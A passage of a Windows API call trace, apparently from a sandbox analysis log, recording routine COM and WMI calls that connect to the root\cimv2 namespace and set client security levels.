riid=0x26e7cc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7c8 | out: ppvObject=0x26e7c8*=0x4f9fda8) returned 0x0 [0042.112] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x2 [0042.112] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fda8, lFlags=4, puBuffLength=0x26e950*=0x0, pszText=0x0 | out: puBuffLength=0x26e950*=0xf, pszText=0x0) returned 0x0 [0042.112] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x1 [0042.112] CoGetContextToken (in: pToken=0x26e790 | out: pToken=0x26e790) returned 0x0 [0042.112] CoGetContextToken (in: pToken=0x26e750 | out: pToken=0x26e750) returned 0x0 [0042.112] WbemDefPath:IUnknown:AddRef (This=0x4f9fda8) returned 0x2 [0042.112] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9fda8, riid=0x26e7cc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7c8 | out: ppvObject=0x26e7c8*=0x4f9fda8) returned 0x0 [0042.112] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x2 [0042.113] WbemDefPath:IWbemPath:GetText (in: This=0x4f9fda8, lFlags=4, puBuffLength=0x26e950*=0xf, pszText="00000000000000" | out: puBuffLength=0x26e950*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0042.113] WbemDefPath:IUnknown:Release (This=0x4f9fda8) returned 0x1 [0042.113] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2bc [0042.113] GetLastError () returned 0x0 [0042.113] SetEvent (hEvent=0x280) returned 1 [0042.113] GetLastError () returned 0x0 [0042.114] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x26e8b8*=0x2bc, lpdwindex=0x26e670 | out: lpdwindex=0x26e670) returned 0x0 [0042.116] CoGetContextToken (in: pToken=0x26e708 | out: pToken=0x26e708) returned 0x0 [0042.116] CoGetContextToken (in: pToken=0x26e6c8 | out: pToken=0x26e6c8) returned 0x0 [0042.116] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x2 [0042.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e744*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e740 | out: ppvObject=0x26e740*=0x4f9daa8) returned 0x0 [0042.116] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.116] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x1 [0042.116] CoGetContextToken (in: pToken=0x26e788 | out: pToken=0x26e788) returned 0x0 [0042.116] CoGetContextToken (in: pToken=0x26e748 | out: pToken=0x26e748) returned 0x0 [0042.116] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x2 [0042.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7c0 | out: ppvObject=0x26e7c0*=0x4f9daa8) returned 0x0 [0042.116] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.116] WbemDefPath:IWbemPath:SetText (This=0x4f9daa8, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0042.116] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x1 [0042.117] CoGetContextToken (in: pToken=0x26e778 | out: pToken=0x26e778) returned 0x0 [0042.117] CoGetContextToken (in: pToken=0x26e738 | out: pToken=0x26e738) returned 0x0 [0042.117] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x2 [0042.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7b0 | out: ppvObject=0x26e7b0*=0x4f9daa8) returned 0x0 [0042.117] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.117] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9daa8, puCount=0x26e92c | out: puCount=0x26e92c*=0x2) returned 0x0 [0042.117] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x1 [0042.117] CoGetContextToken (in: pToken=0x26e768 | out: pToken=0x26e768) returned 0x0 [0042.117] CoGetContextToken (in: pToken=0x26e728 | out: pToken=0x26e728) returned 0x0 [0042.117] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x2 [0042.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7a0 | out: ppvObject=0x26e7a0*=0x4f9daa8) returned 0x0 [0042.117] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.117] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e928*=0x0, pszText=0x0 | out: puBuffLength=0x26e928*=0xf, pszText=0x0) returned 0x0 [0042.117] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x1 [0042.118] CoGetContextToken (in: pToken=0x26e768 | out: pToken=0x26e768) returned 0x0 [0042.118] CoGetContextToken (in: pToken=0x26e728 | out: pToken=0x26e728) returned 0x0 [0042.118] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x2 [0042.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7a0 | out: ppvObject=0x26e7a0*=0x4f9daa8) returned 0x0 [0042.118] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.118] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e928*=0xf, pszText="00000000000000" | out: puBuffLength=0x26e928*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0042.118] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x1 [0042.140] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x26e828*=0x2d0, lpdwindex=0x26e684 | out: lpdwindex=0x26e684) returned 0x0 [0042.423] CoGetContextToken (in: pToken=0x26e8ac | out: pToken=0x26e8ac) returned 0x0 [0042.424] CoGetContextToken (in: pToken=0x26e858 | out: pToken=0x26e858) returned 0x0 [0042.424] IUnknown:QueryInterface (in: This=0x7795c8, riid=0x741fbeb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e82c | out: ppvObject=0x26e82c*=0x7795d8) returned 0x0 [0042.424] CObjectContext::ContextCallback () returned 0x0 [0042.431] IUnknown:Release (This=0x7795d8) returned 0x1 [0042.431] CoUnmarshalInterface (in: pStm=0x7cafb0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e8b0 | out: ppv=0x26e8b0*=0x7d09ec) returned 0x0 [0042.431] CoMarshalInterface (pStm=0x7cafb0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7d09ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0042.432] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e4d0 | out: ppvObject=0x26e4d0*=0x7d09ec) returned 0x0 [0042.432] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e48c | out: ppvObject=0x26e48c*=0x0) returned 0x80004002 [0042.432] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e380 | out: ppvObject=0x26e380*=0x0) returned 0x80004002 [0042.433] WbemLocator:IUnknown:AddRef (This=0x7d09ec) returned 0x3 [0042.433] CoGetContextToken (in: pToken=0x26e318 | out: pToken=0x26e318) returned 0x0 [0042.433] CoGetContextToken (in: pToken=0x26e2dc | out: pToken=0x26e2dc) returned 0x0 [0042.433] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e310 | out: ppvObject=0x26e310*=0x779464) returned 0x0 [0042.433] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e340 | out: pAptType=0x26e340*=3) returned 0x0 [0042.433] IUnknown:Release (This=0x779464) returned 0x1 [0042.433] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e300 | out: ppvObject=0x26e300*=0x7d094c) returned 0x0 [0042.433] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7d094c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x26e308 | out: pCid=0x26e308*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0042.433] WbemLocator:IUnknown:Release (This=0x7d094c) returned 0x3 [0042.433] CoGetContextToken (in: pToken=0x26e310 | out: pToken=0x26e310) returned 0x0 [0042.433] WbemLocator:IUnknown:AddRef (This=0x7d09ec) returned 0x4 [0042.433] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e384 | out: ppvObject=0x26e384*=0x7d09d4) returned 0x0 [0042.433] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x4 [0042.434] WbemLocator:IRpcOptions:Query (in: This=0x7d09d4, pPrx=0x7d09ec, dwProperty=2, pdwValue=0x26e3a8 | out: pdwValue=0x26e3a8) returned 0x0 [0042.434] WbemLocator:IUnknown:Release (This=0x7d09d4) returned 0x3 [0042.434] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x2 [0042.434] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x1 [0042.434] CoGetContextToken (in: pToken=0x26e36c | out: pToken=0x26e36c) returned 0x0 [0042.434] WbemLocator:IUnknown:AddRef (This=0x7d09ec) returned 0x2 [0042.434] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e610 | out: ppvObject=0x26e610*=0x7d09cc) returned 0x0 [0042.434] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7d09cc, pProxy=0x7d09ec, pAuthnSvc=0x26e658, pAuthzSvc=0x26e654, pServerPrincName=0x26e664, pAuthnLevel=0x26e65c, pImpLevel=0x26e648, pAuthInfo=0x26e64c, pCapabilites=0x26e650 | out: pAuthnSvc=0x26e658*=0xa, pAuthzSvc=0x26e654*=0x0, pServerPrincName=0x26e664, pAuthnLevel=0x26e65c*=0x6, pImpLevel=0x26e648*=0x2, pAuthInfo=0x26e64c, pCapabilites=0x26e650*=0x1) returned 0x0 [0042.434] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x2 [0042.434] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e604 | out: ppvObject=0x26e604*=0x7d09ec) returned 0x0 [0042.434] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e600 | out: ppvObject=0x26e600*=0x7d09cc) returned 0x0 [0042.434] WbemLocator:IClientSecurity:SetBlanket (This=0x7d09cc, pProxy=0x7d09ec, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.435] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x3 [0042.435] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x2 [0042.435] CoTaskMemFree (pv=0x79e5b8) [0042.435] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x1 [0042.439] SysStringLen (param_1=0x0) returned 0x0 [0042.440] GetLastError () returned 0x7e [0042.440] CoGetContextToken (in: pToken=0x26e78c | out: pToken=0x26e78c) returned 0x0 [0042.440] CoGetContextToken (in: pToken=0x26e74c | out: pToken=0x26e74c) returned 0x0 [0042.440] WbemLocator:IUnknown:AddRef (This=0x7d09ec) returned 0x2 [0042.440] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x26e7c8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x26e7c4 | out: ppvObject=0x26e7c4*=0x4f9dc84) returned 0x0 [0042.441] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x2 [0042.441] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x1 [0042.441] CoGetContextToken (in: pToken=0x26e320 | out: pToken=0x26e320) returned 0x0 [0042.441] CoGetContextToken (in: pToken=0x26e2e0 | out: pToken=0x26e2e0) returned 0x0 [0042.441] WbemLocator:IUnknown:AddRef (This=0x7d09ec) returned 0x2 [0042.441] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x26e35c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x26e358 | out: ppvObject=0x26e358*=0x4f9dc84) returned 0x0 [0042.441] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x2 [0042.441] WbemLocator:IUnknown:AddRef (This=0x4f9dc84) returned 0x3 [0042.442] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e610 | out: ppvObject=0x26e610*=0x7d09cc) returned 0x0 [0042.442] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7d09cc, pProxy=0x4f9dc84, pAuthnSvc=0x26e658, pAuthzSvc=0x26e654, pServerPrincName=0x26e664, pAuthnLevel=0x26e65c, pImpLevel=0x26e648, pAuthInfo=0x26e64c, pCapabilites=0x26e650 | out: pAuthnSvc=0x26e658*=0xa, pAuthzSvc=0x26e654*=0x0, pServerPrincName=0x26e664, pAuthnLevel=0x26e65c*=0x6, pImpLevel=0x26e648*=0x2, pAuthInfo=0x26e64c, pCapabilites=0x26e650*=0x1) returned 0x0 [0042.442] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x3 [0042.442] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e604 | out: ppvObject=0x26e604*=0x7d09ec) returned 0x0 [0042.442] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e600 | out: ppvObject=0x26e600*=0x7d09cc) returned 0x0 [0042.442] WbemLocator:IClientSecurity:SetBlanket (This=0x7d09cc, pProxy=0x4f9dc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.442] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x4 [0042.442] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x3 [0042.442] CoTaskMemFree (pv=0x79e708) [0042.442] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x2 [0042.442] SysStringLen (param_1=0x0) returned 0x0 [0042.442] GetLastError () returned 0x0 [0042.448] CoGetContextToken (in: pToken=0x26e790 | out: pToken=0x26e790) returned 0x0 [0042.448] CoGetContextToken (in: pToken=0x26e750 | out: pToken=0x26e750) returned 0x0 [0042.448] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7cc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7c8 | out: ppvObject=0x26e7c8*=0x4f9daa8) returned 0x0 [0042.448] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f9daa8, puCount=0x26e944 | out: puCount=0x26e944*=0x2) returned 0x0 [0042.448] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.448] CoGetContextToken (in: pToken=0x26e780 | out: pToken=0x26e780) returned 0x0 [0042.448] CoGetContextToken (in: pToken=0x26e740 | out: pToken=0x26e740) returned 0x0 [0042.448] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7bc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7b8 | out: ppvObject=0x26e7b8*=0x4f9daa8) returned 0x0 [0042.448] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.448] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e940*=0x0, pszText=0x0 | out: puBuffLength=0x26e940*=0xf, pszText=0x0) returned 0x0 [0042.448] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.448] CoGetContextToken (in: pToken=0x26e780 | out: pToken=0x26e780) returned 0x0 [0042.448] CoGetContextToken (in: pToken=0x26e740 | out: pToken=0x26e740) returned 0x0 [0042.448] WbemDefPath:IUnknown:AddRef (This=0x4f9daa8) returned 0x3 [0042.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f9daa8, riid=0x26e7bc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x26e7b8 | out: ppvObject=0x26e7b8*=0x4f9daa8) returned 0x0 [0042.449] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x3 [0042.449] WbemDefPath:IWbemPath:GetText (in: This=0x4f9daa8, lFlags=4, puBuffLength=0x26e940*=0xf, pszText="00000000000000" | out: puBuffLength=0x26e940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0042.449] WbemDefPath:IUnknown:Release (This=0x4f9daa8) returned 0x2 [0042.449] CoGetContextToken (in: pToken=0x26e81c | out: pToken=0x26e81c) returned 0x0 [0042.449] CoUnmarshalInterface (in: pStm=0x7cafb0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e820 | out: ppv=0x26e820*=0x7d09ec) returned 0x0 [0042.449] CoMarshalInterface (pStm=0x7cafb0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7d09ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0042.449] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e440 | out: ppvObject=0x26e440*=0x7d09ec) returned 0x0 [0042.449] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x3 [0042.450] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x2 [0042.450] CoGetContextToken (in: pToken=0x26e2dc | out: pToken=0x26e2dc) returned 0x0 [0042.450] WbemLocator:IUnknown:AddRef (This=0x7d09ec) returned 0x3 [0042.450] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e580 | out: ppvObject=0x26e580*=0x7d09cc) returned 0x0 [0042.450] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7d09cc, pProxy=0x7d09ec, pAuthnSvc=0x26e5c8, pAuthzSvc=0x26e5c4, pServerPrincName=0x26e5d4, pAuthnLevel=0x26e5cc, pImpLevel=0x26e5b8, pAuthInfo=0x26e5bc, pCapabilites=0x26e5c0 | out: pAuthnSvc=0x26e5c8*=0xa, pAuthzSvc=0x26e5c4*=0x0, pServerPrincName=0x26e5d4, pAuthnLevel=0x26e5cc*=0x6, pImpLevel=0x26e5b8*=0x3, pAuthInfo=0x26e5bc, pCapabilites=0x26e5c0*=0x20) returned 0x0 [0042.450] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x3 [0042.450] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e574 | out: ppvObject=0x26e574*=0x7d09ec) returned 0x0 [0042.450] WbemLocator:IUnknown:QueryInterface (in: This=0x7d09ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e570 | out: ppvObject=0x26e570*=0x7d09cc) returned 0x0 [0042.450] WbemLocator:IClientSecurity:SetBlanket (This=0x7d09cc, pProxy=0x7d09ec, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.450] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x4 [0042.451] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x3 [0042.451] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x2 [0042.451] SysStringLen (param_1=0x0) returned 0x0 [0042.451] GetLastError () returned 0x0 [0042.451] CoGetContextToken (in: pToken=0x26e6fc | out: pToken=0x26e6fc) returned 0x0 [0042.451] WbemLocator:IUnknown:AddRef (This=0x4f9dc84) returned 0x3 [0042.451] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x2 [0042.451] CoGetContextToken (in: pToken=0x26e290 | out: pToken=0x26e290) returned 0x0 [0042.451] WbemLocator:IUnknown:AddRef (This=0x4f9dc84) returned 0x3 [0042.451] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e580 | out: ppvObject=0x26e580*=0x7d09cc) returned 0x0 [0042.451] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7d09cc, pProxy=0x4f9dc84, pAuthnSvc=0x26e5c8, pAuthzSvc=0x26e5c4, pServerPrincName=0x26e5d4, pAuthnLevel=0x26e5cc, pImpLevel=0x26e5b8, pAuthInfo=0x26e5bc, pCapabilites=0x26e5c0 | out: pAuthnSvc=0x26e5c8*=0xa, pAuthzSvc=0x26e5c4*=0x0, pServerPrincName=0x26e5d4, pAuthnLevel=0x26e5cc*=0x6, pImpLevel=0x26e5b8*=0x3, pAuthInfo=0x26e5bc, pCapabilites=0x26e5c0*=0x20) returned 0x0 [0042.451] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x3 [0042.451] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e574 | out: ppvObject=0x26e574*=0x7d09ec) returned 0x0 [0042.451] WbemLocator:IUnknown:QueryInterface (in: This=0x4f9dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e570 | out: ppvObject=0x26e570*=0x7d09cc) returned 0x0 [0042.451] WbemLocator:IClientSecurity:SetBlanket (This=0x7d09cc, pProxy=0x4f9dc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0042.451] WbemLocator:IUnknown:Release (This=0x7d09cc) returned 0x4 [0042.452] WbemLocator:IUnknown:Release (This=0x7d09ec) returned 0x3 [0042.452] WbemLocator:IUnknown:Release (This=0x4f9dc84) returned 0x2 [0042.452] SysStringLen (param_1=0x0) returned 0x0 [0042.452] GetLastError () returned 0x0 [0042.452] CoGetContextToken (in: pToken=0x26e788 | out: pToken=0x26e788) returned 0x0 [0042.452] CoGetContextToken (in: pToken=0x26e748 | out: pToken=0x26e748) returned 0x0 [0042.452] 